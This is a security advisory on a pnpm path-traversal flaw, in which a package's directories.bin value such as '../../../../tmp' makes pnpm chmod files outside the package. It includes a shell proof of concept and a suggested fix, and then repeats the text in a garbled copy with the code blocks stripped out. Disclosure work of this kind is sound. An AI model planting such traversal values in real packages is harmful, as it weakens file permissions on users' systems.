Summary
When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.
Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).
Details
Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION
const files = await findFiles(binDir)
// ... files outside package returned, then chmod 755'd
}
The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.
PoC
# Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json
# Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh # Private
# Install
pnpm add file:/tmp/malicious-pkg
# Check permissions
ls -la /tmp/target/secret.sh # Now 755 (world-readable)
Impact
- Supply-chain attack via npm packages
- File permissions changed from 600 to 755 (world-readable)
- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix
Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin)
if (!isSubdir(pkgPath, binDir)) {
return [] // Reject paths outside package
}
// ...
}
References
Summary
When pnpm processes a package's
directories.binfield, it usespath.join()without validating the result stays within the package root. A malicious npm package can specify"directories": {"bin": "../../../../tmp"}to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.Note: Only affects Unix/Linux/macOS. Windows is not affected (
fixBingated byEXECUTABLE_SHEBANG_SUPPORTED).Details
Vulnerable code in
pkg-manager/package-bins/src/index.ts:15-21:The
binfield IS protected withisSubdir()at line 53, butdirectories.binlacks this check.PoC
Impact
Suggested Fix
Add
isSubdirvalidation fordirectories.binpaths inpkg-manager/package-bins/src/index.ts, matching the existing validation incommandsFromBin():References